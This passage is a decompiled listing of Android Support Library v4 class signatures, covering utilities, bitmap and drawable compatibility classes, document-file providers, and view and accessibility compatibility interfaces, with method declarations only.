    static void <clinit>();
}










android/support/v4/util/ArrayMap.class


package android.support.v4.util;
public synchronized class ArrayMap extends SimpleArrayMap implements java.util.Map {
    MapCollections mCollections;
    public void ArrayMap();
    public void ArrayMap(int);
    public void ArrayMap(SimpleArrayMap);
    private MapCollections getCollection();
    public boolean containsAll(java.util.Collection);
    public void putAll(java.util.Map);
    public boolean removeAll(java.util.Collection);
    public boolean retainAll(java.util.Collection);
    public java.util.Set entrySet();
    public java.util.Set keySet();
    public java.util.Collection values();
}










android/support/v4/util/Pools.class


package android.support.v4.util;
public final synchronized class Pools {
    private void Pools();
}










android/support/v4/util/MapCollections$ArrayIterator.class


package android.support.v4.util;
final synchronized class MapCollections$ArrayIterator implements java.util.Iterator {
    final int mOffset;
    int mSize;
    int mIndex;
    boolean mCanRemove;
    void MapCollections$ArrayIterator(MapCollections, int);
    public boolean hasNext();
    public Object next();
    public void remove();
}










android/support/v4/database/DatabaseUtilsCompat.class


package android.support.v4.database;
public synchronized class DatabaseUtilsCompat {
    private void DatabaseUtilsCompat();
    public static String concatenateWhere(String, String);
    public static String[] appendSelectionArgs(String[], String[]);
}










android/support/v4/graphics/BitmapCompat$BaseBitmapImpl.class


package android.support.v4.graphics;
synchronized class BitmapCompat$BaseBitmapImpl implements BitmapCompat$BitmapImpl {
    void BitmapCompat$BaseBitmapImpl();
    public boolean hasMipMap(android.graphics.Bitmap);
    public void setHasMipMap(android.graphics.Bitmap, boolean);
    public int getAllocationByteCount(android.graphics.Bitmap);
}










android/support/v4/graphics/BitmapCompat$KitKatBitmapCompatImpl.class


package android.support.v4.graphics;
synchronized class BitmapCompat$KitKatBitmapCompatImpl extends BitmapCompat$JbMr2BitmapCompatImpl {
    void BitmapCompat$KitKatBitmapCompatImpl();
    public int getAllocationByteCount(android.graphics.Bitmap);
}










android/support/v4/graphics/BitmapCompatKitKat.class


package android.support.v4.graphics;
synchronized class BitmapCompatKitKat {
    void BitmapCompatKitKat();
    static int getAllocationByteCount(android.graphics.Bitmap);
}










android/support/v4/graphics/drawable/DrawableCompat.class


package android.support.v4.graphics.drawable;
public synchronized class DrawableCompat {
    static final DrawableCompat$DrawableImpl IMPL;
    public void DrawableCompat();
    public static void jumpToCurrentState(android.graphics.drawable.Drawable);
    public static void setAutoMirrored(android.graphics.drawable.Drawable, boolean);
    public static boolean isAutoMirrored(android.graphics.drawable.Drawable);
    public static void setHotspot(android.graphics.drawable.Drawable, float, float);
    public static void setHotspotBounds(android.graphics.drawable.Drawable, int, int, int, int);
    public static void setTint(android.graphics.drawable.Drawable, int);
    public static void setTintList(android.graphics.drawable.Drawable, android.content.res.ColorStateList);
    public static void setTintMode(android.graphics.drawable.Drawable, android.graphics.PorterDuff$Mode);
    static void <clinit>();
}










android/support/v4/graphics/drawable/DrawableCompat$LDrawableImpl.class


package android.support.v4.graphics.drawable;
synchronized class DrawableCompat$LDrawableImpl extends DrawableCompat$KitKatDrawableImpl {
    void DrawableCompat$LDrawableImpl();
    public void setHotspot(android.graphics.drawable.Drawable, float, float);
    public void setHotspotBounds(android.graphics.drawable.Drawable, int, int, int, int);
    public void setTint(android.graphics.drawable.Drawable, int);
    public void setTintList(android.graphics.drawable.Drawable, android.content.res.ColorStateList);
    public void setTintMode(android.graphics.drawable.Drawable, android.graphics.PorterDuff$Mode);
}










android/support/v4/graphics/drawable/DrawableCompat$BaseDrawableImpl.class


package android.support.v4.graphics.drawable;
synchronized class DrawableCompat$BaseDrawableImpl implements DrawableCompat$DrawableImpl {
    void DrawableCompat$BaseDrawableImpl();
    public void jumpToCurrentState(android.graphics.drawable.Drawable);
    public void setAutoMirrored(android.graphics.drawable.Drawable, boolean);
    public boolean isAutoMirrored(android.graphics.drawable.Drawable);
    public void setHotspot(android.graphics.drawable.Drawable, float, float);
    public void setHotspotBounds(android.graphics.drawable.Drawable, int, int, int, int);
    public void setTint(android.graphics.drawable.Drawable, int);
    public void setTintList(android.graphics.drawable.Drawable, android.content.res.ColorStateList);
    public void setTintMode(android.graphics.drawable.Drawable, android.graphics.PorterDuff$Mode);
}










android/support/v4/graphics/drawable/RoundedBitmapDrawable21.class


package android.support.v4.graphics.drawable;
synchronized class RoundedBitmapDrawable21 extends RoundedBitmapDrawable {
    protected void RoundedBitmapDrawable21(android.content.res.Resources, android.graphics.Bitmap);
    public void getOutline(android.graphics.Outline);
    public void setMipMap(boolean);
    public boolean hasMipMap();
    void gravityCompatApply(int, int, int, android.graphics.Rect, android.graphics.Rect);
}










android/support/v4/graphics/drawable/DrawableCompatHoneycomb.class


package android.support.v4.graphics.drawable;
synchronized class DrawableCompatHoneycomb {
    void DrawableCompatHoneycomb();
    public static void jumpToCurrentState(android.graphics.drawable.Drawable);
}










android/support/v4/graphics/drawable/DrawableCompat$HoneycombDrawableImpl.class


package android.support.v4.graphics.drawable;
synchronized class DrawableCompat$HoneycombDrawableImpl extends DrawableCompat$BaseDrawableImpl {
    void DrawableCompat$HoneycombDrawableImpl();
    public void jumpToCurrentState(android.graphics.drawable.Drawable);
}










android/support/v4/graphics/drawable/RoundedBitmapDrawableFactory$DefaultRoundedBitmapDrawable.class


package android.support.v4.graphics.drawable;
synchronized class RoundedBitmapDrawableFactory$DefaultRoundedBitmapDrawable extends RoundedBitmapDrawable {
    void RoundedBitmapDrawableFactory$DefaultRoundedBitmapDrawable(android.content.res.Resources, android.graphics.Bitmap);
    public void setMipMap(boolean);
    public boolean hasMipMap();
    void gravityCompatApply(int, int, int, android.graphics.Rect, android.graphics.Rect);
}










android/support/v4/graphics/drawable/RoundedBitmapDrawable.class


package android.support.v4.graphics.drawable;
public abstract synchronized class RoundedBitmapDrawable extends android.graphics.drawable.Drawable {
    private static final int DEFAULT_PAINT_FLAGS = 6;
    android.graphics.Bitmap mBitmap;
    private int mTargetDensity;
    private int mGravity;
    private android.graphics.Paint mPaint;
    private android.graphics.BitmapShader mBitmapShader;
    private float mCornerRadius;
    final android.graphics.Rect mDstRect;
    final android.graphics.RectF mDstRectF;
    private boolean mApplyGravity;
    private int mBitmapWidth;
    private int mBitmapHeight;
    public final android.graphics.Paint getPaint();
    public final android.graphics.Bitmap getBitmap();
    private void computeBitmapSize();
    public void setTargetDensity(android.graphics.Canvas);
    public void setTargetDensity(android.util.DisplayMetrics);
    public void setTargetDensity(int);
    public int getGravity();
    public void setGravity(int);
    public void setMipMap(boolean);
    public boolean hasMipMap();
    public void setAntiAlias(boolean);
    public boolean hasAntiAlias();
    public void setFilterBitmap(boolean);
    public void setDither(boolean);
    void gravityCompatApply(int, int, int, android.graphics.Rect, android.graphics.Rect);
    void updateDstRect();
    public void draw(android.graphics.Canvas);
    public void setAlpha(int);
    public int getAlpha();
    public void setColorFilter(android.graphics.ColorFilter);
    public android.graphics.ColorFilter getColorFilter();
    public void setCornerRadius(float);
    public float getCornerRadius();
    public int getIntrinsicWidth();
    public int getIntrinsicHeight();
    public int getOpacity();
    void RoundedBitmapDrawable(android.content.res.Resources, android.graphics.Bitmap);
    private static boolean isGreaterThanZero(float);
}










android/support/v4/graphics/drawable/RoundedBitmapDrawableFactory.class


package android.support.v4.graphics.drawable;
public synchronized class RoundedBitmapDrawableFactory {
    private static final String TAG = RoundedBitmapDrawableFactory;
    public void RoundedBitmapDrawableFactory();
    public static RoundedBitmapDrawable create(android.content.res.Resources, android.graphics.Bitmap);
    public static RoundedBitmapDrawable create(android.content.res.Resources, String);
    public static RoundedBitmapDrawable create(android.content.res.Resources, java.io.InputStream);
}










android/support/v4/graphics/drawable/DrawableCompat$KitKatDrawableImpl.class


package android.support.v4.graphics.drawable;
synchronized class DrawableCompat$KitKatDrawableImpl extends DrawableCompat$HoneycombDrawableImpl {
    void DrawableCompat$KitKatDrawableImpl();
    public void setAutoMirrored(android.graphics.drawable.Drawable, boolean);
    public boolean isAutoMirrored(android.graphics.drawable.Drawable);
}










android/support/v4/graphics/drawable/DrawableCompatL.class


package android.support.v4.graphics.drawable;
synchronized class DrawableCompatL {
    void DrawableCompatL();
    public static void setHotspot(android.graphics.drawable.Drawable, float, float);
    public static void setHotspotBounds(android.graphics.drawable.Drawable, int, int, int, int);
    public static void setTint(android.graphics.drawable.Drawable, int);
    public static void setTintList(android.graphics.drawable.Drawable, android.content.res.ColorStateList);
    public static void setTintMode(android.graphics.drawable.Drawable, android.graphics.PorterDuff$Mode);
}










android/support/v4/graphics/drawable/DrawableCompat$DrawableImpl.class


package android.support.v4.graphics.drawable;
abstract interface DrawableCompat$DrawableImpl {
    public abstract void jumpToCurrentState(android.graphics.drawable.Drawable);
    public abstract void setAutoMirrored(android.graphics.drawable.Drawable, boolean);
    public abstract boolean isAutoMirrored(android.graphics.drawable.Drawable);
    public abstract void setHotspot(android.graphics.drawable.Drawable, float, float);
    public abstract void setHotspotBounds(android.graphics.drawable.Drawable, int, int, int, int);
    public abstract void setTint(android.graphics.drawable.Drawable, int);
    public abstract void setTintList(android.graphics.drawable.Drawable, android.content.res.ColorStateList);
    public abstract void setTintMode(android.graphics.drawable.Drawable, android.graphics.PorterDuff$Mode);
}










android/support/v4/graphics/drawable/DrawableCompatKitKat.class


package android.support.v4.graphics.drawable;
synchronized class DrawableCompatKitKat {
    void DrawableCompatKitKat();
    public static void setAutoMirrored(android.graphics.drawable.Drawable, boolean);
    public static boolean isAutoMirrored(android.graphics.drawable.Drawable);
}










android/support/v4/graphics/BitmapCompatJellybeanMR2.class


package android.support.v4.graphics;
synchronized class BitmapCompatJellybeanMR2 {
    void BitmapCompatJellybeanMR2();
    public static boolean hasMipMap(android.graphics.Bitmap);
    public static void setHasMipMap(android.graphics.Bitmap, boolean);
}










android/support/v4/graphics/BitmapCompat.class


package android.support.v4.graphics;
public synchronized class BitmapCompat {
    static final BitmapCompat$BitmapImpl IMPL;
    public void BitmapCompat();
    public static boolean hasMipMap(android.graphics.Bitmap);
    public static void setHasMipMap(android.graphics.Bitmap, boolean);
    public static int getAllocationByteCount(android.graphics.Bitmap);
    static void <clinit>();
}










android/support/v4/graphics/BitmapCompat$JbMr2BitmapCompatImpl.class


package android.support.v4.graphics;
synchronized class BitmapCompat$JbMr2BitmapCompatImpl extends BitmapCompat$HcMr1BitmapCompatImpl {
    void BitmapCompat$JbMr2BitmapCompatImpl();
    public boolean hasMipMap(android.graphics.Bitmap);
    public void setHasMipMap(android.graphics.Bitmap, boolean);
}










android/support/v4/graphics/BitmapCompat$HcMr1BitmapCompatImpl.class


package android.support.v4.graphics;
synchronized class BitmapCompat$HcMr1BitmapCompatImpl extends BitmapCompat$BaseBitmapImpl {
    void BitmapCompat$HcMr1BitmapCompatImpl();
    public int getAllocationByteCount(android.graphics.Bitmap);
}










android/support/v4/graphics/BitmapCompat$BitmapImpl.class


package android.support.v4.graphics;
abstract interface BitmapCompat$BitmapImpl {
    public abstract boolean hasMipMap(android.graphics.Bitmap);
    public abstract void setHasMipMap(android.graphics.Bitmap, boolean);
    public abstract int getAllocationByteCount(android.graphics.Bitmap);
}










android/support/v4/graphics/BitmapCompatHoneycombMr1.class


package android.support.v4.graphics;
synchronized class BitmapCompatHoneycombMr1 {
    void BitmapCompatHoneycombMr1();
    static int getAllocationByteCount(android.graphics.Bitmap);
}










android/support/v4/provider/DocumentsContractApi21.class


package android.support.v4.provider;
synchronized class DocumentsContractApi21 {
    private static final String TAG = DocumentFile;
    void DocumentsContractApi21();
    public static android.net.Uri createFile(android.content.Context, android.net.Uri, String, String);
    public static android.net.Uri createDirectory(android.content.Context, android.net.Uri, String);
    public static android.net.Uri prepareTreeUri(android.net.Uri);
    public static android.net.Uri[] listFiles(android.content.Context, android.net.Uri);
    public static android.net.Uri renameTo(android.content.Context, android.net.Uri, String);
    private static void closeQuietly(AutoCloseable);
}










android/support/v4/provider/RawDocumentFile.class


package android.support.v4.provider;
synchronized class RawDocumentFile extends DocumentFile {
    private java.io.File mFile;
    void RawDocumentFile(DocumentFile, java.io.File);
    public DocumentFile createFile(String, String);
    public DocumentFile createDirectory(String);
    public android.net.Uri getUri();
    public String getName();
    public String getType();
    public boolean isDirectory();
    public boolean isFile();
    public long lastModified();
    public long length();
    public boolean canRead();
    public boolean canWrite();
    public boolean delete();
    public boolean exists();
    public DocumentFile[] listFiles();
    public boolean renameTo(String);
    private static String getTypeForName(String);
    private static boolean deleteContents(java.io.File);
}










android/support/v4/provider/DocumentFile.class


package android.support.v4.provider;
public abstract synchronized class DocumentFile {
    static final String TAG = DocumentFile;
    private final DocumentFile mParent;
    void DocumentFile(DocumentFile);
    public static DocumentFile fromFile(java.io.File);
    public static DocumentFile fromSingleUri(android.content.Context, android.net.Uri);
    public static DocumentFile fromTreeUri(android.content.Context, android.net.Uri);
    public static boolean isDocumentUri(android.content.Context, android.net.Uri);
    public abstract DocumentFile createFile(String, String);
    public abstract DocumentFile createDirectory(String);
    public abstract android.net.Uri getUri();
    public abstract String getName();
    public abstract String getType();
    public DocumentFile getParentFile();
    public abstract boolean isDirectory();
    public abstract boolean isFile();
    public abstract long lastModified();
    public abstract long length();
    public abstract boolean canRead();
    public abstract boolean canWrite();
    public abstract boolean delete();
    public abstract boolean exists();
    public abstract DocumentFile[] listFiles();
    public DocumentFile findFile(String);
    public abstract boolean renameTo(String);
}










android/support/v4/provider/SingleDocumentFile.class


package android.support.v4.provider;
synchronized class SingleDocumentFile extends DocumentFile {
    private android.content.Context mContext;
    private android.net.Uri mUri;
    void SingleDocumentFile(DocumentFile, android.content.Context, android.net.Uri);
    public DocumentFile createFile(String, String);
    public DocumentFile createDirectory(String);
    public android.net.Uri getUri();
    public String getName();
    public String getType();
    public boolean isDirectory();
    public boolean isFile();
    public long lastModified();
    public long length();
    public boolean canRead();
    public boolean canWrite();
    public boolean delete();
    public boolean exists();
    public DocumentFile[] listFiles();
    public boolean renameTo(String);
}










android/support/v4/provider/TreeDocumentFile.class


package android.support.v4.provider;
synchronized class TreeDocumentFile extends DocumentFile {
    private android.content.Context mContext;
    private android.net.Uri mUri;
    void TreeDocumentFile(DocumentFile, android.content.Context, android.net.Uri);
    public DocumentFile createFile(String, String);
    public DocumentFile createDirectory(String);
    public android.net.Uri getUri();
    public String getName();
    public String getType();
    public boolean isDirectory();
    public boolean isFile();
    public long lastModified();
    public long length();
    public boolean canRead();
    public boolean canWrite();
    public boolean delete();
    public boolean exists();
    public DocumentFile[] listFiles();
    public boolean renameTo(String);
}










android/support/v4/provider/DocumentsContractApi19.class


package android.support.v4.provider;
synchronized class DocumentsContractApi19 {
    private static final String TAG = DocumentFile;
    void DocumentsContractApi19();
    public static boolean isDocumentUri(android.content.Context, android.net.Uri);
    public static String getName(android.content.Context, android.net.Uri);
    private static String getRawType(android.content.Context, android.net.Uri);
    public static String getType(android.content.Context, android.net.Uri);
    public static boolean isDirectory(android.content.Context, android.net.Uri);
    public static boolean isFile(android.content.Context, android.net.Uri);
    public static long lastModified(android.content.Context, android.net.Uri);
    public static long length(android.content.Context, android.net.Uri);
    public static boolean canRead(android.content.Context, android.net.Uri);
    public static boolean canWrite(android.content.Context, android.net.Uri);
    public static boolean delete(android.content.Context, android.net.Uri);
    public static boolean exists(android.content.Context, android.net.Uri);
    private static String queryForString(android.content.Context, android.net.Uri, String, String);
    private static int queryForInt(android.content.Context, android.net.Uri, String, int);
    private static long queryForLong(android.content.Context, android.net.Uri, String, long);
    private static void closeQuietly(AutoCloseable);
}










android/support/v4/view/ViewConfigurationCompatFroyo.class


package android.support.v4.view;
synchronized class ViewConfigurationCompatFroyo {
    void ViewConfigurationCompatFroyo();
    public static int getScaledPagingTouchSlop(android.view.ViewConfiguration);
}










android/support/v4/view/GravityCompat$GravityCompatImpl.class


package android.support.v4.view;
abstract interface GravityCompat$GravityCompatImpl {
    public abstract int getAbsoluteGravity(int, int);
    public abstract void apply(int, int, int, android.graphics.Rect, android.graphics.Rect, int);
    public abstract void apply(int, int, int, android.graphics.Rect, int, int, android.graphics.Rect, int);
    public abstract void applyDisplay(int, android.graphics.Rect, android.graphics.Rect, int);
}










android/support/v4/view/MotionEventCompat$MotionEventVersionImpl.class


package android.support.v4.view;
abstract interface MotionEventCompat$MotionEventVersionImpl {
    public abstract int findPointerIndex(android.view.MotionEvent, int);
    public abstract int getPointerId(android.view.MotionEvent, int);
    public abstract float getX(android.view.MotionEvent, int);
    public abstract float getY(android.view.MotionEvent, int);
    public abstract int getPointerCount(android.view.MotionEvent);
}










android/support/v4/view/MarginLayoutParamsCompatJellybeanMr1.class


package android.support.v4.view;
synchronized class MarginLayoutParamsCompatJellybeanMr1 {
    void MarginLayoutParamsCompatJellybeanMr1();
    public static int getMarginStart(android.view.ViewGroup$MarginLayoutParams);
    public static int getMarginEnd(android.view.ViewGroup$MarginLayoutParams);
    public static void setMarginStart(android.view.ViewGroup$MarginLayoutParams, int);
    public static void setMarginEnd(android.view.ViewGroup$MarginLayoutParams, int);
    public static boolean isMarginRelative(android.view.ViewGroup$MarginLayoutParams);
    public static int getLayoutDirection(android.view.ViewGroup$MarginLayoutParams);
    public static void setLayoutDirection(android.view.ViewGroup$MarginLayoutParams, int);
    public static void resolveLayoutDirection(android.view.ViewGroup$MarginLayoutParams, int);
}










android/support/v4/view/ViewGroupCompat$ViewGroupCompatJellybeanMR2Impl.class


package android.support.v4.view;
synchronized class ViewGroupCompat$ViewGroupCompatJellybeanMR2Impl extends ViewGroupCompat$ViewGroupCompatIcsImpl {
    void ViewGroupCompat$ViewGroupCompatJellybeanMR2Impl();
    public int getLayoutMode(android.view.ViewGroup);
    public void setLayoutMode(android.view.ViewGroup, int);
}










android/support/v4/view/ViewCompat$BaseViewCompatImpl.class


package android.support.v4.view;
synchronized class ViewCompat$BaseViewCompatImpl implements ViewCompat$ViewCompatImpl {
    private reflect.Method mDispatchStartTemporaryDetach;
    private reflect.Method mDispatchFinishTemporaryDetach;
    private boolean mTempDetachBound;
    java.util.WeakHashMap mViewPropertyAnimatorCompatMap;
    void ViewCompat$BaseViewCompatImpl();
    public boolean canScrollHorizontally(android.view.View, int);
    public boolean canScrollVertically(android.view.View, int);
    public int getOverScrollMode(android.view.View);
    public void setOverScrollMode(android.view.View, int);
    public void setAccessibilityDelegate(android.view.View, AccessibilityDelegateCompat);
    public boolean hasAccessibilityDelegate(android.view.View);
    public void onPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityNodeInfo(android.view.View, accessibility.AccessibilityNodeInfoCompat);
    public boolean hasTransientState(android.view.View);
    public void setHasTransientState(android.view.View, boolean);
    public void postInvalidateOnAnimation(android.view.View);
    public void postInvalidateOnAnimation(android.view.View, int, int, int, int);
    public void postOnAnimation(android.view.View, Runnable);
    public void postOnAnimationDelayed(android.view.View, Runnable, long);
    long getFrameTime();
    public int getImportantForAccessibility(android.view.View);
    public void setImportantForAccessibility(android.view.View, int);
    public boolean performAccessibilityAction(android.view.View, int, android.os.Bundle);
    public accessibility.AccessibilityNodeProviderCompat getAccessibilityNodeProvider(android.view.View);
    public float getAlpha(android.view.View);
    public void setLayerType(android.view.View, int, android.graphics.Paint);
    public int getLayerType(android.view.View);
    public int getLabelFor(android.view.View);
    public void setLabelFor(android.view.View, int);
    public void setLayerPaint(android.view.View, android.graphics.Paint);
    public int getLayoutDirection(android.view.View);
    public void setLayoutDirection(android.view.View, int);
    public android.view.ViewParent getParentForAccessibility(android.view.View);
    public boolean isOpaque(android.view.View);
    public int resolveSizeAndState(int, int, int);
    public int getMeasuredWidthAndState(android.view.View);
    public int getMeasuredHeightAndState(android.view.View);
    public int getMeasuredState(android.view.View);
    public int getAccessibilityLiveRegion(android.view.View);
    public void setAccessibilityLiveRegion(android.view.View, int);
    public int getPaddingStart(android.view.View);
    public int getPaddingEnd(android.view.View);
    public void setPaddingRelative(android.view.View, int, int, int, int);
    public void dispatchStartTemporaryDetach(android.view.View);
    public void dispatchFinishTemporaryDetach(android.view.View);
    private void bindTempDetach();
    public float getTranslationX(android.view.View);
    public float getTranslationY(android.view.View);
    public float getX(android.view.View);
    public float getY(android.view.View);
    public float getRotation(android.view.View);
    public float getRotationX(android.view.View);
    public float getRotationY(android.view.View);
    public float getScaleX(android.view.View);
    public float getScaleY(android.view.View);
    public int getMinimumWidth(android.view.View);
    public int getMinimumHeight(android.view.View);
    public ViewPropertyAnimatorCompat animate(android.view.View);
    public void setRotation(android.view.View, float);
    public void setTranslationX(android.view.View, float);
    public void setTranslationY(android.view.View, float);
    public void setAlpha(android.view.View, float);
    public void setRotationX(android.view.View, float);
    public void setRotationY(android.view.View, float);
    public void setScaleX(android.view.View, float);
    public void setScaleY(android.view.View, float);
    public void setX(android.view.View, float);
    public void setY(android.view.View, float);
    public void setPivotX(android.view.View, float);
    public void setPivotY(android.view.View, float);
    public float getPivotX(android.view.View);
    public float getPivotY(android.view.View);
    public void setTransitionName(android.view.View, String);
    public String getTransitionName(android.view.View);
    public int getWindowSystemUiVisibility(android.view.View);
    public void requestApplyInsets(android.view.View);
    public void setElevation(android.view.View, float);
    public float getElevation(android.view.View);
    public void setTranslationZ(android.view.View, float);
    public float getTranslationZ(android.view.View);
    public void setChildrenDrawingOrderEnabled(android.view.ViewGroup, boolean);
    public boolean getFitsSystemWindows(android.view.View);
    public void jumpDrawablesToCurrentState(android.view.View);
    public void setOnApplyWindowInsetsListener(android.view.View, OnApplyWindowInsetsListener);
}










android/support/v4/view/VelocityTrackerCompat$HoneycombVelocityTrackerVersionImpl.class


package android.support.v4.view;
synchronized class VelocityTrackerCompat$HoneycombVelocityTrackerVersionImpl implements VelocityTrackerCompat$VelocityTrackerVersionImpl {
    void VelocityTrackerCompat$HoneycombVelocityTrackerVersionImpl();
    public float getXVelocity(android.view.VelocityTracker, int);
    public float getYVelocity(android.view.VelocityTracker, int);
}










android/support/v4/view/AccessibilityDelegateCompatIcs.class


package android.support.v4.view;
synchronized class AccessibilityDelegateCompatIcs {
    void AccessibilityDelegateCompatIcs();
    public static Object newAccessibilityDelegateDefaultImpl();
    public static Object newAccessibilityDelegateBridge(AccessibilityDelegateCompatIcs$AccessibilityDelegateBridge);
    public static boolean dispatchPopulateAccessibilityEvent(Object, android.view.View, android.view.accessibility.AccessibilityEvent);
    public static void onInitializeAccessibilityEvent(Object, android.view.View, android.view.accessibility.AccessibilityEvent);
    public static void onInitializeAccessibilityNodeInfo(Object, android.view.View, Object);
    public static void onPopulateAccessibilityEvent(Object, android.view.View, android.view.accessibility.AccessibilityEvent);
    public static boolean onRequestSendAccessibilityEvent(Object, android.view.ViewGroup, android.view.View, android.view.accessibility.AccessibilityEvent);
    public static void sendAccessibilityEvent(Object, android.view.View, int);
    public static void sendAccessibilityEventUnchecked(Object, android.view.View, android.view.accessibility.AccessibilityEvent);
}










android/support/v4/view/WindowInsetsCompatApi21.class


package android.support.v4.view;
synchronized class WindowInsetsCompatApi21 extends WindowInsetsCompat {
    private final android.view.WindowInsets mSource;
    void WindowInsetsCompatApi21(android.view.WindowInsets);
    public int getSystemWindowInsetLeft();
    public int getSystemWindowInsetTop();
    public int getSystemWindowInsetRight();
    public int getSystemWindowInsetBottom();
    public boolean hasSystemWindowInsets();
    public boolean hasInsets();
    public boolean isConsumed();
    public boolean isRound();
    public WindowInsetsCompat consumeSystemWindowInsets();
    public WindowInsetsCompat replaceSystemWindowInsets(int, int, int, int);
    public WindowInsetsCompat replaceSystemWindowInsets(android.graphics.Rect);
    public int getStableInsetTop();
    public int getStableInsetLeft();
    public int getStableInsetRight();
    public int getStableInsetBottom();
    public boolean hasStableInsets();
    public WindowInsetsCompat consumeStableInsets();
    android.view.WindowInsets unwrap();
}










android/support/v4/view/ViewPropertyAnimatorCompat$KitKatViewPropertyAnimatorCompatImpl.class


package android.support.v4.view;
synchronized class ViewPropertyAnimatorCompat$KitKatViewPropertyAnimatorCompatImpl extends ViewPropertyAnimatorCompat$JBMr2ViewPropertyAnimatorCompatImpl {
    void ViewPropertyAnimatorCompat$KitKatViewPropertyAnimatorCompatImpl();
    public void setUpdateListener(ViewPropertyAnimatorCompat, android.view.View, ViewPropertyAnimatorUpdateListener);
}










android/support/v4/view/accessibility/AccessibilityNodeProviderCompatJellyBean$AccessibilityNodeInfoBridge.class


package android.support.v4.view.accessibility;
abstract interface AccessibilityNodeProviderCompatJellyBean$AccessibilityNodeInfoBridge {
    public abstract Object createAccessibilityNodeInfo(int);
    public abstract boolean performAction(int, int, android.os.Bundle);
    public abstract java.util.List findAccessibilityNodeInfosByText(String, int);
}










android/support/v4/view/accessibility/AccessibilityManagerCompatIcs$AccessibilityStateChangeListenerBridge.class


package android.support.v4.view.accessibility;
abstract interface AccessibilityManagerCompatIcs$AccessibilityStateChangeListenerBridge {
    public abstract void onAccessibilityStateChanged(boolean);
}










android/support/v4/view/accessibility/AccessibilityNodeProviderCompatKitKat$1.class


package android.support.v4.view.accessibility;
final synchronized class AccessibilityNodeProviderCompatKitKat$1 extends android.view.accessibility.AccessibilityNodeProvider {
    void AccessibilityNodeProviderCompatKitKat$1(AccessibilityNodeProviderCompatKitKat$AccessibilityNodeInfoBridge);
    public android.view.accessibility.AccessibilityNodeInfo createAccessibilityNodeInfo(int);
    public java.util.List findAccessibilityNodeInfosByText(String, int);
    public boolean performAction(int, int, android.os.Bundle);
    public android.view.accessibility.AccessibilityNodeInfo findFocus(int);
}










android/support/v4/view/accessibility/AccessibilityNodeInfoCompat$AccessibilityNodeInfoKitKatImpl.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityNodeInfoCompat$AccessibilityNodeInfoKitKatImpl extends AccessibilityNodeInfoCompat$AccessibilityNodeInfoJellybeanMr2Impl {
    void AccessibilityNodeInfoCompat$AccessibilityNodeInfoKitKatImpl();
    public int getLiveRegion(Object);
    public void setLiveRegion(Object, int);
    public Object getCollectionInfo(Object);
    public void setCollectionInfo(Object, Object);
    public Object obtainCollectionInfo(int, int, boolean, int);
    public Object obtainCollectionItemInfo(int, int, int, int, boolean, boolean);
    public int getCollectionInfoColumnCount(Object);
    public int getCollectionInfoRowCount(Object);
    public boolean isCollectionInfoHierarchical(Object);
    public Object getCollectionItemInfo(Object);
    public Object getRangeInfo(Object);
    public int getCollectionItemColumnIndex(Object);
    public int getCollectionItemColumnSpan(Object);
    public int getCollectionItemRowIndex(Object);
    public int getCollectionItemRowSpan(Object);
    public boolean isCollectionItemHeading(Object);
    public void setCollectionItemInfo(Object, Object);
}










android/support/v4/view/accessibility/AccessibilityNodeInfoCompatJellybeanMr2.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityNodeInfoCompatJellybeanMr2 {
    void AccessibilityNodeInfoCompatJellybeanMr2();
    public static void setViewIdResourceName(Object, String);
    public static String getViewIdResourceName(Object);
}










android/support/v4/view/accessibility/AccessibilityManagerCompat$AccessibilityStateChangeListenerCompat.class


package android.support.v4.view.accessibility;
public abstract synchronized class AccessibilityManagerCompat$AccessibilityStateChangeListenerCompat {
    final Object mListener;
    public void AccessibilityManagerCompat$AccessibilityStateChangeListenerCompat();
    public abstract void onAccessibilityStateChanged(boolean);
}










android/support/v4/view/accessibility/AccessibilityRecordCompat$AccessibilityRecordImpl.class


package android.support.v4.view.accessibility;
abstract interface AccessibilityRecordCompat$AccessibilityRecordImpl {
    public abstract Object obtain();
    public abstract Object obtain(Object);
    public abstract void setSource(Object, android.view.View);
    public abstract void setSource(Object, android.view.View, int);
    public abstract AccessibilityNodeInfoCompat getSource(Object);
    public abstract int getWindowId(Object);
    public abstract boolean isChecked(Object);
    public abstract void setChecked(Object, boolean);
    public abstract boolean isEnabled(Object);
    public abstract void setEnabled(Object, boolean);
    public abstract boolean isPassword(Object);
    public abstract void setPassword(Object, boolean);
    public abstract boolean isFullScreen(Object);
    public abstract void setFullScreen(Object, boolean);
    public abstract boolean isScrollable(Object);
    public abstract void setScrollable(Object, boolean);
    public abstract int getItemCount(Object);
    public abstract void setItemCount(Object, int);
    public abstract int getCurrentItemIndex(Object);
    public abstract void setCurrentItemIndex(Object, int);
    public abstract int getFromIndex(Object);
    public abstract void setFromIndex(Object, int);
    public abstract int getToIndex(Object);
    public abstract void setToIndex(Object, int);
    public abstract int getScrollX(Object);
    public abstract void setScrollX(Object, int);
    public abstract int getScrollY(Object);
    public abstract void setScrollY(Object, int);
    public abstract int getMaxScrollX(Object);
    public abstract void setMaxScrollX(Object, int);
    public abstract int getMaxScrollY(Object);
    public abstract void setMaxScrollY(Object, int);
    public abstract int getAddedCount(Object);
    public abstract void setAddedCount(Object, int);
    public abstract int getRemovedCount(Object);
    public abstract void setRemovedCount(Object, int);
    public abstract CharSequence getClassName(Object);
    public abstract void setClassName(Object, CharSequence);
    public abstract java.util.List getText(Object);
    public abstract CharSequence getBeforeText(Object);
    public abstract void setBeforeText(Object, CharSequence);
    public abstract CharSequence getContentDescription(Object);
    public abstract void setContentDescription(Object, CharSequence);
    public abstract android.os.Parcelable getParcelableData(Object);
    public abstract void setParcelableData(Object, android.os.Parcelable);
    public abstract void recycle(Object);
}










android/support/v4/view/accessibility/AccessibilityNodeProviderCompat$AccessibilityNodeProviderKitKatImpl$1.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityNodeProviderCompat$AccessibilityNodeProviderKitKatImpl$1 implements AccessibilityNodeProviderCompatKitKat$AccessibilityNodeInfoBridge {
    void AccessibilityNodeProviderCompat$AccessibilityNodeProviderKitKatImpl$1(AccessibilityNodeProviderCompat$AccessibilityNodeProviderKitKatImpl, AccessibilityNodeProviderCompat);
    public boolean performAction(int, int, android.os.Bundle);
    public java.util.List findAccessibilityNodeInfosByText(String, int);
    public Object createAccessibilityNodeInfo(int);
    public Object findFocus(int);
}










